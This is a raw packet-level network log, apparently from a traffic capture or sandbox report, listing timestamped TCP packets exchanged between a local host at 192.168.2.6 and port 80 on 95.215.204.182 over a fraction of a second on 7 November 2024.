Nov 7, 2024 17:25:18.088133097 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088144064 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088155031 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088166952 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088176966 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088205099 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088217974 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088218927 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088218927 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088252068 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088269949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088280916 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088291883 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088304996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088339090 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088339090 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088361979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088365078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088372946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088385105 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088399887 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088423014 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088468075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088479996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088490009 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088501930 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088510036 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088531971 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088531971 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088542938 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088555098 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088571072 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088582993 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088588953 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088588953 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088588953 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088630915 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.088947058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088958025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.088969946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089025974 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089035988 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089036942 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089035988 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089049101 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089059114 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089070082 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089081049 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089082956 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089095116 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089127064 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089139938 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089251995 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089262962 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089273930 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089286089 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089293003 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089297056 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089308023 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089312077 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089320898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089344025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089355946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089361906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089361906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089366913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089380026 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089390039 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089391947 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089404106 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089421988 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089443922 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089804888 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089816093 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089828968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089847088 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089875937 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089889050 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089900017 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089910984 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089931011 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089931011 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.089948893 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.089971066 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090006113 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090281963 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090292931 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090303898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090327024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090337038 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090338945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090352058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090363026 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090379953 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090379953 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090409994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090425014 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090436935 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090449095 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090460062 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090473890 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090473890 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090492010 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090599060 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090610027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090620995 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090632915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090642929 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090643883 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090655088 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090666056 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090671062 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090677023 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090678930 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090689898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090708971 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090735912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090739012 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090748072 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090758085 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.090785980 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.090812922 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091248035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091259956 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091272116 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091293097 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091321945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091326952 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091334105 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091346025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091357946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091376066 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091425896 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091425896 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091481924 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091496944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091507912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091519117 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091531038 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091535091 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091535091 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091541052 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091553926 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091564894 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091587067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091594934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091594934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091618061 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091681004 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091691971 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091703892 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091715097 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091726065 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091737986 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091737986 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091738939 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091742992 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091754913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091766119 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091778040 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091790915 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091790915 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091830015 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091850042 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.091945887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091962099 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091974974 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091988087 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.091989994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092009068 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092030048 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092086077 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092097998 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092108965 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092133045 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092148066 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092160940 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092173100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092184067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092195034 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092200041 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092216969 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092247009 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092247963 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092261076 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092282057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092288017 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092293978 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092304945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092310905 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092310905 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092317104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092329979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092358112 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092358112 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092438936 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092505932 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092516899 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092529058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092540026 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092544079 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092550993 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092565060 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092569113 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092576981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092586994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092598915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092609882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092611074 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092609882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092622042 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092629910 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092633963 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092645884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092648029 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092677116 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092696905 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092699051 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092709064 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092720032 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092730999 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092740059 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092741966 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.092751026 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092784882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.092972994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093010902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093023062 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093029022 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093055964 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093055964 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093077898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093090057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093101025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093111992 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093151093 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093151093 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093151093 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093246937 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093259096 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093271017 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093288898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093297005 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093300104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093311071 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093317986 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093322992 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093334913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093347073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093358994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093359947 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093383074 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093394041 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093406916 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093410015 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093410015 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093417883 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093451023 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093475103 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093699932 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093710899 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.093782902 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.093782902 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.100912094 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.100950956 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.100963116 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.100975037 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101016998 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101032972 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101043940 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101054907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101106882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101106882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101180077 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101191044 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101202965 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101213932 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101224899 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101238012 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101238012 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101279974 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101326942 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101366043 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101393938 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101404905 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101432085 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101435900 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101444006 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.101453066 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101471901 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.101485014 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121306896 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121341944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121354103 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121411085 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121423006 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121434927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121434927 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121452093 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121457100 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121484041 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121500015 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121552944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121573925 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121584892 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121596098 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121598959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121614933 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121618986 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121637106 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121681929 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121782064 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121793985 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121805906 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121818066 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121829033 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121839046 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121839046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121839046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121851921 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121861935 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121870995 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121879101 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121886015 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121892929 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121911049 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121916056 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.121923923 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121959925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.121959925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122086048 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122097969 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122108936 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122122049 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122128963 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122133017 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122143984 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122148991 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.122155905 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.122167110 CET	80	49715	95.215.204.182	192.168.2.6
